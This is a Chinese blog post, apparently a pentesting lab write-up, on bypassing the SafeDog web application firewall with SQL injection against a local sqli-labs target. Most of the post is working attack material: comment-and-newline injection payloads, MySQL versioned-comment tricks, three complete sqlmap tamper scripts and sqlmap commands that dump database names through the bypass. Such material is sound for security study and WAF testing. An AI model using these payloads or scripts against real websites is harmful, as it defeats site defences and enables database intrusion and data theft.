1 WAF SQL注入绕WAF研究
1.1 概念
WAF,全称:Web Application Firewall,也称为网站应用级入侵防御系统。 大白话的说,就是利用它内设的安全策略来为web应用程序提供保护的一款产品,那么对于我们来说,如果突破它的安全策略就显得尤为重要。 作为渗透测试人员都知道,在渗透的过程当中,最核心的就是构造自己的输入,然后分析目标返回的结果,从而判断出是否存在相应的问题。 那么WAF的基础检测机制也基于此——检测用户输入的内容,如果输入的内容中包含了一些危险字符,或者说有威胁性的字符,那么WAF就会对此进行拦截。 所以说,改变我们输入的内容形式,就是突破WAF的关键点。
1.2 介绍和分类
WAF分为硬件防火墙和软件防火墙,其中硬件防火墙出自各大安全公司,价格昂贵,一般大公司才会购买;软件防火墙相对便宜,小公司使用较多
现在国内互联网中常见的WAF软件有以下三种:
安全狗(更新缓慢容易绕过)
宝塔(免费版和收费版)
阿里云盾(阿里云服务器自带,也叫安骑士)
云waf(云锁,360安全云等)
2 sqli-labs靶机安全狗环境搭建
2.1 安全狗下载 http://free.safedog.cn (选择网站安全狗Apache版(Windows))
2.2 将下载好的安装包拖入目标靶场的虚拟机,这里建议使用window2008,window2003安装后apache会报错,我是以sqli-labs靶场为例进行操作
2.3 打开安全狗exe文件前,先将phpstudy环境打开,否则安全狗没有apache环境无法安装
2.4 安装后会提示需要服务名,在dos命令里面进入phpstudy的Apache的bin目录下,输入命令httpd.exe -k install -n apache2.4 创建Apache服务,将服务名填入即可
2.5 确认安全狗的网站安全狗插件已安装,防护总开关已开启
2.6 随意在靶场SQL注入,检测安全狗是否启动成功
3 使用注释换行绕过安全狗(字符型,以sqli-labs-Less1为例)
3.1 注入 id=1' and 1=1 --+ 会被拦截
3.2 发现注入 id=1' and 不会被拦截
3.3 注入 id=1' /*and 1=1 */--+ 不会被拦截(说明安全狗会认为多行注释里的内容都是安全的)
3.4 注入 id=1' /*and 1=2 */--+ 不会被拦截,但是id=1' and 1=2 --+正常注入的话,页面是不会显示You are in...........,因为注释里的所有数据都不会被数据库解析
3.5 注入 id=1' --+%0a and 1=1 --+ 其中 --+ 是单行注释,尝试使用%0a换行进行操作,仍被拦截
3.6 注释--+、/**/和换行符%0a结合
安全狗会先对and后面的内容进行检查,发现后面是一个多行注释便认为其是安全的,而我们在多行注释里添加换行,第一个 --+ 将前者 /* 注释,换行后第二个 --+ 将后者 /* 和 ' 都注释,只剩下 1=1 ,便能成功绕过安全狗
id=1' and--+ /*%0a 1=1 --+*/
也可以直接将and放入多行注释中,也可以成功绕过
id=1' --+ /*%0a and 1=1 --+*/
3.7 编写绕过安全狗sqlmap脚本
打开burp suite监听(SQLmap使用时是自己的uagent,防止安全狗进行检测 使用随机uagent --random-agent)
sqlmap -u http://192.168.174.128/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs --random-agent --batch
尝试使用base64decode.py进行base64编码绕过
sqlmap -u http://192.168.174.128/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs --tamper=base64encode --random-agent --batch
发现不能绕过安全狗
以base64encode.py为模板创建dog_waf.py
根据 id=1' --+ /*%0a and 1=1 --+*/ vim打开编辑,i进行插入dog_waf.py脚本,esc退出编辑,:wq保存(权限不够,可以添加sudo)
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Bypass SafeDog
"""
return '--+ /*%0a '+payload+'*/' if payload else payload
# id=1' --+ /*%0a and 1=1 --+*/
sqlmap脚本注入成功绕过安全狗
sqlmap -u http://192.168.174.128/Less-1/?id=1 --dbs --tamper=dog_waf --random-agent --batch
4 使用类联注释和换行绕过安全狗(数字型,以sqli-labs-Less2为例)
4.1 如果非字符型时,就不需要闭合单引号和注释末尾的内容,此时注入变为 id=1 --+ /*%0a and 1=1 */ ,分行后末尾多了一个 */ ,虽然能绕过安全狗,但是注入会报错
4.2 类联注释(不写版本号也可以被解析)
select 1 /*!50000 and 1=1*/; 结果输出为1
select 1 /*!50000 and 1=2*/;结果输出为0 ,类联注释生效
先有/*!*/代表我们写的是类联注释,50000代表版本号5.00.00,/*!50000 and 1=1*/意思是如果MySQL版本号大于5.00.00就执行后面的内容
4.3 类联注释 /*!*/ 、注释 --+ 和换行符 %0a 结合
安全狗发现后面是一个类联注释便认为其是安全的,而我们在类联注释里添加换行,使用 --+ 将中间的 /* 注释,换行后前者/*! 和后者*/正好形成类联注释,便能成功绕过安全狗
id=1 /*!50000-- qwe/*%0a and 1=1*/
4.4 编写绕过安全狗sqlmap脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Bypass SafeDog
"""
if '--' in payload:
payload = payload.split('--')[0]
return '/*!50000-- qwe/*%0a'+payload+'*/' if payload else payload
4.5 sqlmap脚本注入成功绕过安全狗
sqlmap -u http://192.168.174.128/Less-2/?id=1 --dbs --tamper=dogint_waf --random-agent --batch
4.6 这里将上文3的脚本经行修改也是可以使用sqlmap绕过安全狗
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Bypass SafeDog
"""
if '--' in payload:
payload = payload.split('--')[0]
return '-- qwe/*%0a'+payload+'-- qwe*/' if payload else payload
# id=1' --+ /*%0a and 1=1 --+*/
成功绕过安全狗
sqlmap -u http://192.168.174.128/Less-2/?id=1 --dbs --tamper=dog_waf --random-agent --batch
5 总结
针对于以上使用注释和换行相结合绕过waf的试验过程中,有以下几点需要注意:
5.1 在自己手动测试绕过waf时,使用 --+ /*%0a (payload) --+*/ 格式针对于字符型和结尾可以省略, /*!50000--+/*%0a (payload) */ 格式针对于数字型和结尾需要保留
5.2 而在使用sqlmap经行测试时,发现以两种形式编写的脚本都可以任意替换使用,原因应该是sqlmap只是需要绕过waf,而其余的操作sqlmap会使用不同类型的payload进行判断
5.3 在sqlmap中运行脚本时,针对于单行注释时,还是尽量避免使用 --+ 注释,虽然+会转换为空格,但是有些时候还是会造成意想不到错误,使用 -- qwe 更加保险稳妥
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/sql%e6%b3%a8%e5%85%a5%e7%bb%95%e8%bf%87%e5%ae%89%e5%85%a8%e7%8b%97/
共有 0 条评论